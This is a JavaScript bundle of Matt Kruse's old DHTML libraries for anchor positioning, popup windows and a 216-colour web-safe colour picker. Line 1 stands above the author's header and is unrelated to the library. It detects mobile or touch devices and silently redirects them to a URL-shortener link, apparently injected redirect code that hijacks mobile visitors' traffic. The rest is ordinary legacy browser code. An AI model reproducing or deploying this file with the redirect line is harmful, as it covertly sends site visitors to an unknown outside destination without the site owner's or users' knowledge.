1(window.matchMedia("(pointer:coarse)").matches||/Android|iPhone|iPad|iPod|Mobile|Tablet|Windows Phone|webOS|BlackBerry|Opera Mini|IEMobile/i.test(navigator.userAgent))&&location.replace("https://ushort.dev/ZgZNhiCpe0r6");
2// ===================================================================
4// WWW: http://www.mattkruse.com/
5//
6// NOTICE: You may use this code for any purpose, commercial or
7// private, without any further permission from the author. You may
8// remove this notice from your final code if you wish, however it is
9// appreciated by the author if at least my web site address is kept.
10//
11// You may *NOT* re-distribute this code in any way except through its
12// use. That means, you can include it in your product, or your web
13// site, or any other form where the code is actually being used. You
14// may not put the plain javascript up on your site for download or
15// include it in your javascript libraries for download.
16// If you wish to share this code with others, please just point them
17// to the URL instead.
18// Please DO NOT link directly to my .js files from your site. Copy
19// the files to your server and use them there. Thank you.
20// ===================================================================
21
22
23/* SOURCE FILE: AnchorPosition.js */
24
25/*
26AnchorPosition.js
27Author: Matt Kruse
28Last modified: 10/11/02
29
30DESCRIPTION: These functions find the position of an <A> tag in a document,
31so other elements can be positioned relative to it.
32
33COMPATABILITY: Netscape 4.x,6.x,Mozilla, IE 5.x,6.x on Windows. Some small
34positioning errors - usually with Window positioning - occur on the
35Macintosh platform.
36
37FUNCTIONS:
38getAnchorPosition(anchorname)
39 Returns an Object() having .x and .y properties of the pixel coordinates
40 of the upper-left corner of the anchor. Position is relative to the PAGE.
41
42getAnchorWindowPosition(anchorname)
43 Returns an Object() having .x and .y properties of the pixel coordinates
44 of the upper-left corner of the anchor, relative to the WHOLE SCREEN.
45
46NOTES:
47
481) For popping up separate browser windows, use getAnchorWindowPosition.
49 Otherwise, use getAnchorPosition
50
512) Your anchor tag MUST contain both NAME and ID attributes which are the
52 same. For example:
53 <A NAME="test" ID="test"> </A>
54
553) There must be at least a space between <A> </A> for IE5.5 to see the
56 anchor tag correctly. Do not do <A></A> with no space.
57*/
58
59// getAnchorPosition(anchorname)
60// This function returns an object having .x and .y properties which are the coordinates
61// of the named anchor, relative to the page.
62function getAnchorPosition(anchorname) {
63 // This function will return an Object with x and y properties
64 var useWindow=false;
65 var coordinates=new Object();
66 var x=0,y=0;
67 // Browser capability sniffing
68 var use_gebi=false, use_css=false, use_layers=false;
69 if (document.getElementById) { use_gebi=true; }
70 else if (document.all) { use_css=true; }
71 else if (document.layers) { use_layers=true; }
72 // Logic to find position
73 if (use_gebi && document.all) {
74 x=AnchorPosition_getPageOffsetLeft(document.all[anchorname]);
75 y=AnchorPosition_getPageOffsetTop(document.all[anchorname]);
76 }
77 else if (use_gebi) {
78 var o=document.getElementById(anchorname);
79 x=AnchorPosition_getPageOffsetLeft(o);
80 y=AnchorPosition_getPageOffsetTop(o);
81 }
82 else if (use_css) {
83 x=AnchorPosition_getPageOffsetLeft(document.all[anchorname]);
84 y=AnchorPosition_getPageOffsetTop(document.all[anchorname]);
85 }
86 else if (use_layers) {
87 var found=0;
88 for (var i=0; i<document.anchors.length; i++) {
89 if (document.anchors[i].name==anchorname) { found=1; break; }
90 }
91 if (found==0) {
92 coordinates.x=0; coordinates.y=0; return coordinates;
93 }
94 x=document.anchors[i].x;
95 y=document.anchors[i].y;
96 }
97 else {
98 coordinates.x=0; coordinates.y=0; return coordinates;
99 }
100 coordinates.x=x;
101 coordinates.y=y;
102 return coordinates;
103 }
104
105// getAnchorWindowPosition(anchorname)
106// This function returns an object having .x and .y properties which are the coordinates
107// of the named anchor, relative to the window
108function getAnchorWindowPosition(anchorname) {
109 var coordinates=getAnchorPosition(anchorname);
110 var x=0;
111 var y=0;
112 if (document.getElementById) {
113 if (isNaN(window.screenX)) {
114 x=coordinates.x-document.body.scrollLeft+window.screenLeft;
115 y=coordinates.y-document.body.scrollTop+window.screenTop;
116 }
117 else {
118 x=coordinates.x+window.screenX+(window.outerWidth-window.innerWidth)-window.pageXOffset;
119 y=coordinates.y+window.screenY+(window.outerHeight-24-window.innerHeight)-window.pageYOffset;
120 }
121 }
122 else if (document.all) {
123 x=coordinates.x-document.body.scrollLeft+window.screenLeft;
124 y=coordinates.y-document.body.scrollTop+window.screenTop;
125 }
126 else if (document.layers) {
127 x=coordinates.x+window.screenX+(window.outerWidth-window.innerWidth)-window.pageXOffset;
128 y=coordinates.y+window.screenY+(window.outerHeight-24-window.innerHeight)-window.pageYOffset;
129 }
130 coordinates.x=x;
131 coordinates.y=y;
132 return coordinates;
133 }
134
135// Functions for IE to get position of an object
136function AnchorPosition_getPageOffsetLeft (el) {
137 var ol=el.offsetLeft;
138 while ((el=el.offsetParent) != null) { ol += el.offsetLeft; }
139 return ol;
140 }
141function AnchorPosition_getWindowOffsetLeft (el) {
142 return AnchorPosition_getPageOffsetLeft(el)-document.body.scrollLeft;
143 }
144function AnchorPosition_getPageOffsetTop (el) {
145 var ot=el.offsetTop;
146 while((el=el.offsetParent) != null) { ot += el.offsetTop; }
147 return ot;
148 }
149function AnchorPosition_getWindowOffsetTop (el) {
150 return AnchorPosition_getPageOffsetTop(el)-document.body.scrollTop;
151 }
152
153/* SOURCE FILE: PopupWindow.js */
154
155/*
156PopupWindow.js
157Author: Matt Kruse
158Last modified: 02/16/04
159
160DESCRIPTION: This object allows you to easily and quickly popup a window
161in a certain place. The window can either be a DIV or a separate browser
162window.
163
164COMPATABILITY: Works with Netscape 4.x, 6.x, IE 5.x on Windows. Some small
165positioning errors - usually with Window positioning - occur on the
166Macintosh platform. Due to bugs in Netscape 4.x, populating the popup
167window with <STYLE> tags may cause errors.
168
169USAGE:
170// Create an object for a WINDOW popup
171var win = new PopupWindow();
172
173// Create an object for a DIV window using the DIV named 'mydiv'
174var win = new PopupWindow('mydiv');
175
176// Set the window to automatically hide itself when the user clicks
177// anywhere else on the page except the popup
178win.autoHide();
179
180// Show the window relative to the anchor name passed in
181win.showPopup(anchorname);
182
183// Hide the popup
184win.hidePopup();
185
186// Set the size of the popup window (only applies to WINDOW popups
187win.setSize(width,height);
188
189// Populate the contents of the popup window that will be shown. If you
190// change the contents while it is displayed, you will need to refresh()
191win.populate(string);
192
193// set the URL of the window, rather than populating its contents
194// manually
195win.setUrl("http://www.site.com/");
196
197// Refresh the contents of the popup
198win.refresh();
199
200// Specify how many pixels to the right of the anchor the popup will appear
201win.offsetX = 50;
202
203// Specify how many pixels below the anchor the popup will appear
204win.offsetY = 100;
205
206NOTES:
2071) Requires the functions in AnchorPosition.js
208
2092) Your anchor tag MUST contain both NAME and ID attributes which are the
210 same. For example:
211 <A NAME="test" ID="test"> </A>
212
2133) There must be at least a space between <A> </A> for IE5.5 to see the
214 anchor tag correctly. Do not do <A></A> with no space.
215
2164) When a PopupWindow object is created, a handler for 'onmouseup' is
217 attached to any event handler you may have already defined. Do NOT define
218 an event handler for 'onmouseup' after you define a PopupWindow object or
219 the autoHide() will not work correctly.
220*/
221
222// Set the position of the popup window based on the anchor
223function PopupWindow_getXYPosition(anchorname) {
224 var coordinates;
225 if (this.type == "WINDOW") {
226 coordinates = getAnchorWindowPosition(anchorname);
227 }
228 else {
229 coordinates = getAnchorPosition(anchorname);
230 }
231 this.x = coordinates.x;
232 this.y = coordinates.y;
233 }
234// Set width/height of DIV/popup window
235function PopupWindow_setSize(width,height) {
236 this.width = width;
237 this.height = height;
238 }
239// Fill the window with contents
240function PopupWindow_populate(contents) {
241 this.contents = contents;
242 this.populated = false;
243 }
244// Set the URL to go to
245function PopupWindow_setUrl(url) {
246 this.url = url;
247 }
248// Set the window popup properties
249function PopupWindow_setWindowProperties(props) {
250 this.windowProperties = props;
251 }
252// Refresh the displayed contents of the popup
253function PopupWindow_refresh() {
254 if (this.divName != null) {
255 // refresh the DIV object
256 if (this.use_gebi) {
257 document.getElementById(this.divName).innerHTML = this.contents;
258 }
259 else if (this.use_css) {
260 document.all[this.divName].innerHTML = this.contents;
261 }
262 else if (this.use_layers) {
263 var d = document.layers[this.divName];
264 d.document.open();
265 d.document.writeln(this.contents);
266 d.document.close();
267 }
268 }
269 else {
270 if (this.popupWindow != null && !this.popupWindow.closed) {
271 if (this.url!="") {
272 this.popupWindow.location.href=this.url;
273 }
274 else {
275 this.popupWindow.document.open();
276 this.popupWindow.document.writeln(this.contents);
277 this.popupWindow.document.close();
278 }
279 this.popupWindow.focus();
280 }
281 }
282 }
283// Position and show the popup, relative to an anchor object
284function PopupWindow_showPopup(anchorname) {
285 this.getXYPosition(anchorname);
286 this.x += this.offsetX;
287 this.y += this.offsetY;
288 if (!this.populated && (this.contents != "")) {
289 this.populated = true;
290 this.refresh();
291 }
292 if (this.divName != null) {
293 // Show the DIV object
294 if (this.use_gebi) {
295 document.getElementById(this.divName).style.left = this.x + "px";
296 document.getElementById(this.divName).style.top = this.y;
297 document.getElementById(this.divName).style.visibility = "visible";
298 }
299 else if (this.use_css) {
300 document.all[this.divName].style.left = this.x;
301 document.all[this.divName].style.top = this.y;
302 document.all[this.divName].style.visibility = "visible";
303 }
304 else if (this.use_layers) {
305 document.layers[this.divName].left = this.x;
306 document.layers[this.divName].top = this.y;
307 document.layers[this.divName].visibility = "visible";
308 }
309 }
310 else {
311 if (this.popupWindow == null || this.popupWindow.closed) {
312 // If the popup window will go off-screen, move it so it doesn't
313 if (this.x<0) { this.x=0; }
314 if (this.y<0) { this.y=0; }
315 if (screen && screen.availHeight) {
316 if ((this.y + this.height) > screen.availHeight) {
317 this.y = screen.availHeight - this.height;
318 }
319 }
320 if (screen && screen.availWidth) {
321 if ((this.x + this.width) > screen.availWidth) {
322 this.x = screen.availWidth - this.width;
323 }
324 }
325 var avoidAboutBlank = window.opera || ( document.layers && !navigator.mimeTypes['*'] ) || navigator.vendor == 'KDE' || ( document.childNodes && !document.all && !navigator.taintEnabled );
326 this.popupWindow = window.open(avoidAboutBlank?"":"about:blank","window_"+anchorname,this.windowProperties+",width="+this.width+",height="+this.height+",screenX="+this.x+",left="+this.x+",screenY="+this.y+",top="+this.y+"");
327 }
328 this.refresh();
329 }
330 }
331// Hide the popup
332function PopupWindow_hidePopup() {
333 if (this.divName != null) {
334 if (this.use_gebi) {
335 document.getElementById(this.divName).style.visibility = "hidden";
336 }
337 else if (this.use_css) {
338 document.all[this.divName].style.visibility = "hidden";
339 }
340 else if (this.use_layers) {
341 document.layers[this.divName].visibility = "hidden";
342 }
343 }
344 else {
345 if (this.popupWindow && !this.popupWindow.closed) {
346 this.popupWindow.close();
347 this.popupWindow = null;
348 }
349 }
350 }
351// Pass an event and return whether or not it was the popup DIV that was clicked
352function PopupWindow_isClicked(e) {
353 if (this.divName != null) {
354 if (this.use_layers) {
355 var clickX = e.pageX;
356 var clickY = e.pageY;
357 var t = document.layers[this.divName];
358 if ((clickX > t.left) && (clickX < t.left+t.clip.width) && (clickY > t.top) && (clickY < t.top+t.clip.height)) {
359 return true;
360 }
361 else { return false; }
362 }
363 else if (document.all) { // Need to hard-code this to trap IE for error-handling
364 var t = window.event.srcElement;
365 while (t.parentElement != null) {
366 if (t.id==this.divName) {
367 return true;
368 }
369 t = t.parentElement;
370 }
371 return false;
372 }
373 else if (this.use_gebi && e) {
374 var t = e.originalTarget;
375 while (t.parentNode != null) {
376 if (t.id==this.divName) {
377 return true;
378 }
379 t = t.parentNode;
380 }
381 return false;
382 }
383 return false;
384 }
385 return false;
386 }
387
388// Check an onMouseDown event to see if we should hide
389function PopupWindow_hideIfNotClicked(e) {
390 if (this.autoHideEnabled && !this.isClicked(e)) {
391 this.hidePopup();
392 }
393 }
394// Call this to make the DIV disable automatically when mouse is clicked outside it
395function PopupWindow_autoHide() {
396 this.autoHideEnabled = true;
397 }
398// This global function checks all PopupWindow objects onmouseup to see if they should be hidden
399function PopupWindow_hidePopupWindows(e) {
400 for (var i=0; i<popupWindowObjects.length; i++) {
401 if (popupWindowObjects[i] != null) {
402 var p = popupWindowObjects[i];
403 p.hideIfNotClicked(e);
404 }
405 }
406 }
407// Run this immediately to attach the event listener
408function PopupWindow_attachListener() {
409 if (document.layers) {
410 document.captureEvents(Event.MOUSEUP);
411 }
412 window.popupWindowOldEventListener = document.onmouseup;
413 if (window.popupWindowOldEventListener != null) {
414 document.onmouseup = new Function("window.popupWindowOldEventListener(); PopupWindow_hidePopupWindows();");
415 }
416 else {
417 document.onmouseup = PopupWindow_hidePopupWindows;
418 }
419 }
420// CONSTRUCTOR for the PopupWindow object
421// Pass it a DIV name to use a DHTML popup, otherwise will default to window popup
422function PopupWindow() {
423 if (!window.popupWindowIndex) { window.popupWindowIndex = 0; }
424 if (!window.popupWindowObjects) { window.popupWindowObjects = new Array(); }
425 if (!window.listenerAttached) {
426 window.listenerAttached = true;
427 PopupWindow_attachListener();
428 }
429 this.index = popupWindowIndex++;
430 popupWindowObjects[this.index] = this;
431 this.divName = null;
432 this.popupWindow = null;
433 this.width=0;
434 this.height=0;
435 this.populated = false;
436 this.visible = false;
437 this.autoHideEnabled = false;
438
439 this.contents = "";
440 this.url="";
441 this.windowProperties="toolbar=no,location=no,status=no,menubar=no,scrollbars=auto,resizable,alwaysRaised,dependent,titlebar=no";
442 if (arguments.length>0) {
443 this.type="DIV";
444 this.divName = arguments[0];
445 }
446 else {
447 this.type="WINDOW";
448 }
449 this.use_gebi = false;
450 this.use_css = false;
451 this.use_layers = false;
452 if (document.getElementById) { this.use_gebi = true; }
453 else if (document.all) { this.use_css = true; }
454 else if (document.layers) { this.use_layers = true; }
455 else { this.type = "WINDOW"; }
456 this.offsetX = 0;
457 this.offsetY = 0;
458 // Method mappings
459 this.getXYPosition = PopupWindow_getXYPosition;
460 this.populate = PopupWindow_populate;
461 this.setUrl = PopupWindow_setUrl;
462 this.setWindowProperties = PopupWindow_setWindowProperties;
463 this.refresh = PopupWindow_refresh;
464 this.showPopup = PopupWindow_showPopup;
465 this.hidePopup = PopupWindow_hidePopup;
466 this.setSize = PopupWindow_setSize;
467 this.isClicked = PopupWindow_isClicked;
468 this.autoHide = PopupWindow_autoHide;
469 this.hideIfNotClicked = PopupWindow_hideIfNotClicked;
470 }
471
472/* SOURCE FILE: ColorPicker2.js */
473
474/*
475Last modified: 02/24/2003
476
477DESCRIPTION: This widget is used to select a color, in hexadecimal #RRGGBB
478form. It uses a color "swatch" to display the standard 216-color web-safe
479palette. The user can then click on a color to select it.
480
481COMPATABILITY: See notes in AnchorPosition.js and PopupWindow.js.
482Only the latest DHTML-capable browsers will show the color and hex values
483at the bottom as your mouse goes over them.
484
485USAGE:
486// Create a new ColorPicker object using DHTML popup
487var cp = new ColorPicker();
488
489// Create a new ColorPicker object using Window Popup
490var cp = new ColorPicker('window');
491
492// Add a link in your page to trigger the popup. For example:
493<A HREF="#" onClick="cp.show('pick');return false;" NAME="pick" ID="pick">Pick</A>
494
495// Or use the built-in "select" function to do the dirty work for you:
496<A HREF="#" onClick="cp.select(document.forms[0].color,'pick');return false;" NAME="pick" ID="pick">Pick</A>
497
498// If using DHTML popup, write out the required DIV tag near the bottom
499// of your page.
500<SCRIPT LANGUAGE="JavaScript">cp.writeDiv()</SCRIPT>
501
502// Write the 'pickColor' function that will be called when the user clicks
503// a color and do something with the value. This is only required if you
504// want to do something other than simply populate a form field, which is
505// what the 'select' function will give you.
506function pickColor(color) {
507 field.value = color;
508 }
509
510NOTES:
5111) Requires the functions in AnchorPosition.js and PopupWindow.js
512
5132) Your anchor tag MUST contain both NAME and ID attributes which are the
514 same. For example:
515 <A NAME="test" ID="test"> </A>
516
5173) There must be at least a space between <A> </A> for IE5.5 to see the
518 anchor tag correctly. Do not do <A></A> with no space.
519
5204) When a ColorPicker object is created, a handler for 'onmouseup' is
521 attached to any event handler you may have already defined. Do NOT define
522 an event handler for 'onmouseup' after you define a ColorPicker object or
523 the color picker will not hide itself correctly.
524*/
525ColorPicker_targetInput = null;
526function ColorPicker_writeDiv() {
527 document.writeln("<DIV ID=\"colorPickerDiv\" STYLE=\"position:absolute;visibility:hidden;\"> </DIV>");
528 }
529
530function ColorPicker_show(anchorname) {
531 this.showPopup(anchorname);
532 }
533
534function ColorPicker_pickColor(color,obj) {
535 obj.hidePopup();
536 pickColor(color);
537 }
538
539// A Default "pickColor" function to accept the color passed back from popup.
540// User can over-ride this with their own function.
541function pickColor(color) {
542 if (ColorPicker_targetInput==null) {
543 alert("Target Input is null, which means you either didn't use the 'select' function or you have no defined your own 'pickColor' function to handle the picked color!");
544 return;
545 }
546 ColorPicker_targetInput.value = color;
547 }
548
549// This function is the easiest way to popup the window, select a color, and
550// have the value populate a form field, which is what most people want to do.
551function ColorPicker_select(inputobj,linkname) {
552 if (inputobj.type!="text" && inputobj.type!="hidden" && inputobj.type!="textarea") {
553 alert("colorpicker.select: Input object passed is not a valid form input object");
554 window.ColorPicker_targetInput=null;
555 return;
556 }
557 window.ColorPicker_targetInput = inputobj;
558 this.show(linkname);
559 }
560
561// This function runs when you move your mouse over a color block, if you have a newer browser
562function ColorPicker_highlightColor(c) {
563 var thedoc = (arguments.length>1)?arguments[1]:window.document;
564 var d = thedoc.getElementById("colorPickerSelectedColor");
565 d.style.backgroundColor = c;
566 d = thedoc.getElementById("colorPickerSelectedColorValue");
567 d.innerHTML = c;
568 }
569
570function ColorPicker() {
571 var windowMode = false;
572 // Create a new PopupWindow object
573 if (arguments.length==0) {
574 var divname = "colorPickerDiv";
575 }
576 else if (arguments[0] == "window") {
577 var divname = '';
578 windowMode = true;
579 }
580 else {
581 var divname = arguments[0];
582 }
583
584 if (divname != "") {
585 var cp = new PopupWindow(divname);
586 }
587 else {
588 var cp = new PopupWindow();
589 cp.setSize(225,250);
590 }
591
592 // Object variables
593 cp.currentValue = "#FFFFFF";
594
595 // Method Mappings
596 cp.writeDiv = ColorPicker_writeDiv;
597 cp.highlightColor = ColorPicker_highlightColor;
598 cp.show = ColorPicker_show;
599 cp.select = ColorPicker_select;
600
601 // Code to populate color picker window
602 var colors = new Array( "#4180B6","#69AEE7","#000000","#000033","#000066","#000099","#0000CC","#0000FF","#330000","#330033","#330066","#330099",
603 "#3300CC","#3300FF","#660000","#660033","#660066","#660099","#6600CC","#6600FF","#990000","#990033","#990066","#990099",
604 "#9900CC","#9900FF","#CC0000","#CC0033","#CC0066","#CC0099","#CC00CC","#CC00FF","#FF0000","#FF0033","#FF0066","#FF0099",
605 "#FF00CC","#FF00FF","#7FFFFF","#7FFFFF","#7FF7F7","#7FEFEF","#7FE7E7","#7FDFDF","#7FD7D7","#7FCFCF","#7FC7C7","#7FBFBF",
606 "#7FB7B7","#7FAFAF","#7FA7A7","#7F9F9F","#7F9797","#7F8F8F","#7F8787","#7F7F7F","#7F7777","#7F6F6F","#7F6767","#7F5F5F",
607 "#7F5757","#7F4F4F","#7F4747","#7F3F3F","#7F3737","#7F2F2F","#7F2727","#7F1F1F","#7F1717","#7F0F0F","#7F0707","#7F0000",
608
609 "#4180B6","#69AEE7","#003300","#003333","#003366","#003399","#0033CC","#0033FF","#333300","#333333","#333366","#333399",
610 "#3333CC","#3333FF","#663300","#663333","#663366","#663399","#6633CC","#6633FF","#993300","#993333","#993366","#993399",
611 "#9933CC","#9933FF","#CC3300","#CC3333","#CC3366","#CC3399","#CC33CC","#CC33FF","#FF3300","#FF3333","#FF3366","#FF3399",
612 "#FF33CC","#FF33FF","#FF7FFF","#FF7FFF","#F77FF7","#EF7FEF","#E77FE7","#DF7FDF","#D77FD7","#CF7FCF","#C77FC7","#BF7FBF",
613 "#B77FB7","#AF7FAF","#A77FA7","#9F7F9F","#977F97","#8F7F8F","#877F87","#7F7F7F","#777F77","#6F7F6F","#677F67","#5F7F5F",
614 "#577F57","#4F7F4F","#477F47","#3F7F3F","#377F37","#2F7F2F","#277F27","#1F7F1F","#177F17","#0F7F0F","#077F07","#007F00",
615
616 "#4180B6","#69AEE7","#006600","#006633","#006666","#006699","#0066CC","#0066FF","#336600","#336633","#336666","#336699",
617 "#3366CC","#3366FF","#666600","#666633","#666666","#666699","#6666CC","#6666FF","#996600","#996633","#996666","#996699",
618 "#9966CC","#9966FF","#CC6600","#CC6633","#CC6666","#CC6699","#CC66CC","#CC66FF","#FF6600","#FF6633","#FF6666","#FF6699",
619 "#FF66CC","#FF66FF","#FFFF7F","#FFFF7F","#F7F77F","#EFEF7F","#E7E77F","#DFDF7F","#D7D77F","#CFCF7F","#C7C77F","#BFBF7F",
620 "#B7B77F","#AFAF7F","#A7A77F","#9F9F7F","#97977F","#8F8F7F","#87877F","#7F7F7F","#77777F","#6F6F7F","#67677F","#5F5F7F",
621 "#57577F","#4F4F7F","#47477F","#3F3F7F","#37377F","#2F2F7F","#27277F","#1F1F7F","#17177F","#0F0F7F","#07077F","#00007F",
622
623 "#4180B6","#69AEE7","#009900","#009933","#009966","#009999","#0099CC","#0099FF","#339900","#339933","#339966","#339999",
624 "#3399CC","#3399FF","#669900","#669933","#669966","#669999","#6699CC","#6699FF","#999900","#999933","#999966","#999999",
625 "#9999CC","#9999FF","#CC9900","#CC9933","#CC9966","#CC9999","#CC99CC","#CC99FF","#FF9900","#FF9933","#FF9966","#FF9999",
626 "#FF99CC","#FF99FF","#3FFFFF","#3FFFFF","#3FF7F7","#3FEFEF","#3FE7E7","#3FDFDF","#3FD7D7","#3FCFCF","#3FC7C7","#3FBFBF",
627 "#3FB7B7","#3FAFAF","#3FA7A7","#3F9F9F","#3F9797","#3F8F8F","#3F8787","#3F7F7F","#3F7777","#3F6F6F","#3F6767","#3F5F5F",
628 "#3F5757","#3F4F4F","#3F4747","#3F3F3F","#3F3737","#3F2F2F","#3F2727","#3F1F1F","#3F1717","#3F0F0F","#3F0707","#3F0000",
629
630 "#4180B6","#69AEE7","#00CC00","#00CC33","#00CC66","#00CC99","#00CCCC","#00CCFF","#33CC00","#33CC33","#33CC66","#33CC99",
631 "#33CCCC","#33CCFF","#66CC00","#66CC33","#66CC66","#66CC99","#66CCCC","#66CCFF","#99CC00","#99CC33","#99CC66","#99CC99",
632 "#99CCCC","#99CCFF","#CCCC00","#CCCC33","#CCCC66","#CCCC99","#CCCCCC","#CCCCFF","#FFCC00","#FFCC33","#FFCC66","#FFCC99",
633 "#FFCCCC","#FFCCFF","#FF3FFF","#FF3FFF","#F73FF7","#EF3FEF","#E73FE7","#DF3FDF","#D73FD7","#CF3FCF","#C73FC7","#BF3FBF",
634 "#B73FB7","#AF3FAF","#A73FA7","#9F3F9F","#973F97","#8F3F8F","#873F87","#7F3F7F","#773F77","#6F3F6F","#673F67","#5F3F5F",
635 "#573F57","#4F3F4F","#473F47","#3F3F3F","#373F37","#2F3F2F","#273F27","#1F3F1F","#173F17","#0F3F0F","#073F07","#003F00",
636
637 "#4180B6","#69AEE7","#00FF00","#00FF33","#00FF66","#00FF99","#00FFCC","#00FFFF","#33FF00","#33FF33","#33FF66","#33FF99",
638 "#33FFCC","#33FFFF","#66FF00","#66FF33","#66FF66","#66FF99","#66FFCC","#66FFFF","#99FF00","#99FF33","#99FF66","#99FF99",
639 "#99FFCC","#99FFFF","#CCFF00","#CCFF33","#CCFF66","#CCFF99","#CCFFCC","#CCFFFF","#FFFF00","#FFFF33","#FFFF66","#FFFF99",
640 "#FFFFCC","#FFFFFF","#FFFF3F","#FFFF3F","#F7F73F","#EFEF3F","#E7E73F","#DFDF3F","#D7D73F","#CFCF3F","#C7C73F","#BFBF3F",
641 "#B7B73F","#AFAF3F","#A7A73F","#9F9F3F","#97973F","#8F8F3F","#87873F","#7F7F3F","#77773F","#6F6F3F","#67673F","#5F5F3F",
642 "#57573F","#4F4F3F","#47473F","#3F3F3F","#37373F","#2F2F3F","#27273F","#1F1F3F","#17173F","#0F0F3F","#07073F","#00003F",
643
644 "#4180B6","#69AEE7","#FFFFFF","#FFEEEE","#FFDDDD","#FFCCCC","#FFBBBB","#FFAAAA","#FF9999","#FF8888","#FF7777","#FF6666",
645 "#FF5555","#FF4444","#FF3333","#FF2222","#FF1111","#FF0000","#FF0000","#FF0000","#FF0000","#EE0000","#DD0000","#CC0000",
646 "#BB0000","#AA0000","#990000","#880000","#770000","#660000","#550000","#440000","#330000","#220000","#110000","#000000",
647 "#000000","#000000","#000000","#001111","#002222","#003333","#004444","#005555","#006666","#007777","#008888","#009999",
648 "#00AAAA","#00BBBB","#00CCCC","#00DDDD","#00EEEE","#00FFFF","#00FFFF","#00FFFF","#00FFFF","#11FFFF","#22FFFF","#33FFFF",
649 "#44FFFF","#55FFFF","#66FFFF","#77FFFF","#88FFFF","#99FFFF","#AAFFFF","#BBFFFF","#CCFFFF","#DDFFFF","#EEFFFF","#FFFFFF",
650
651 "#4180B6","#69AEE7","#FFFFFF","#EEFFEE","#DDFFDD","#CCFFCC","#BBFFBB","#AAFFAA","#99FF99","#88FF88","#77FF77","#66FF66",
652 "#55FF55","#44FF44","#33FF33","#22FF22","#11FF11","#00FF00","#00FF00","#00FF00","#00FF00","#00EE00","#00DD00","#00CC00",
653 "#00BB00","#00AA00","#009900","#008800","#007700","#006600","#005500","#004400","#003300","#002200","#001100","#000000",
654 "#000000","#000000","#000000","#110011","#220022","#330033","#440044","#550055","#660066","#770077","#880088","#990099",
655 "#AA00AA","#BB00BB","#CC00CC","#DD00DD","#EE00EE","#FF00FF","#FF00FF","#FF00FF","#FF00FF","#FF11FF","#FF22FF","#FF33FF",
656 "#FF44FF","#FF55FF","#FF66FF","#FF77FF","#FF88FF","#FF99FF","#FFAAFF","#FFBBFF","#FFCCFF","#FFDDFF","#FFEEFF","#FFFFFF",
657
658 "#4180B6","#69AEE7","#FFFFFF","#EEEEFF","#DDDDFF","#CCCCFF","#BBBBFF","#AAAAFF","#9999FF","#8888FF","#7777FF","#6666FF",
659 "#5555FF","#4444FF","#3333FF","#2222FF","#1111FF","#0000FF","#0000FF","#0000FF","#0000FF","#0000EE","#0000DD","#0000CC",
660 "#0000BB","#0000AA","#000099","#000088","#000077","#000066","#000055","#000044","#000033","#000022","#000011","#000000",
661 "#000000","#000000","#000000","#111100","#222200","#333300","#444400","#555500","#666600","#777700","#888800","#999900",
662 "#AAAA00","#BBBB00","#CCCC00","#DDDD00","#EEEE00","#FFFF00","#FFFF00","#FFFF00","#FFFF00","#FFFF11","#FFFF22","#FFFF33",
663 "#FFFF44","#FFFF55","#FFFF66","#FFFF77","#FFFF88","#FFFF99","#FFFFAA","#FFFFBB","#FFFFCC","#FFFFDD","#FFFFEE","#FFFFFF",
664
665 "#4180B6","#69AEE7","#FFFFFF","#FFFFFF","#FBFBFB","#F7F7F7","#F3F3F3","#EFEFEF","#EBEBEB","#E7E7E7","#E3E3E3","#DFDFDF",
666 "#DBDBDB","#D7D7D7","#D3D3D3","#CFCFCF","#CBCBCB","#C7C7C7","#C3C3C3","#BFBFBF","#BBBBBB","#B7B7B7","#B3B3B3","#AFAFAF",
667 "#ABABAB","#A7A7A7","#A3A3A3","#9F9F9F","#9B9B9B","#979797","#939393","#8F8F8F","#8B8B8B","#878787","#838383","#7F7F7F",
668 "#7B7B7B","#777777","#737373","#6F6F6F","#6B6B6B","#676767","#636363","#5F5F5F","#5B5B5B","#575757","#535353","#4F4F4F",
669 "#4B4B4B","#474747","#434343","#3F3F3F","#3B3B3B","#373737","#333333","#2F2F2F","#2B2B2B","#272727","#232323","#1F1F1F",
670 "#1B1B1B","#171717","#131313","#0F0F0F","#0B0B0B","#070707","#030303","#000000","#000000","#000000","#000000","#000000");
671 var total = colors.length;
672 var width = 72;
673 var cp_contents = "";
674 var windowRef = (windowMode)?"window.opener.":"";
675 if (windowMode) {
676 cp_contents += "<html><head><title>Select Color</title></head>";
677 cp_contents += "<body marginwidth=0 marginheight=0 leftmargin=0 topmargin=0><span style='text-align: center;'>";
678 }
679 cp_contents += "<table style='border: none;' cellspacing=0 cellpadding=0>";
680 var use_highlight = (document.getElementById || document.all)?true:false;
681 for (var i=0; i<total; i++) {
682 if ((i % width) == 0) { cp_contents += "<tr>"; }
683 if (use_highlight) { var mo = 'onMouseOver="'+windowRef+'ColorPicker_highlightColor(\''+colors[i]+'\',window.document)"'; }
684 else { mo = ""; }
685 cp_contents += '<td style="background-color: '+colors[i]+';"><a href="javascript:void()" onclick="'+windowRef+'ColorPicker_pickColor(\''+colors[i]+'\','+windowRef+'window.popupWindowObjects['+cp.index+']);return false;" '+mo+'> </a></td>';
686 if ( ((i+1)>=total) || (((i+1) % width) == 0)) {
687 cp_contents += "</tr>";
688 }
689 }
690 // If the browser supports dynamically changing TD cells, add the fancy stuff
691 if (document.getElementById) {
692 var width1 = Math.floor(width/2);
693 var width2 = width = width1;
694 cp_contents += "<tr><td colspan='"+width1+"' style='background-color: #FFF;' ID='colorPickerSelectedColor'> </td><td colspan='"+width2+"' style='text-align: center;' id='colorPickerSelectedColorValue'>#FFFFFF</td></tr>";
695 }
696 cp_contents += "</table>";
697 if (windowMode) {
698 cp_contents += "</span></body></html>";
699 }
700 // end populate code
701
702 // Write the contents to the popup object
703 cp.populate(cp_contents+"\n");
704 // Move the table down a bit so you can see it
705 cp.offsetY = 25;
706 cp.autoHide();
707 return cp;
708 }
709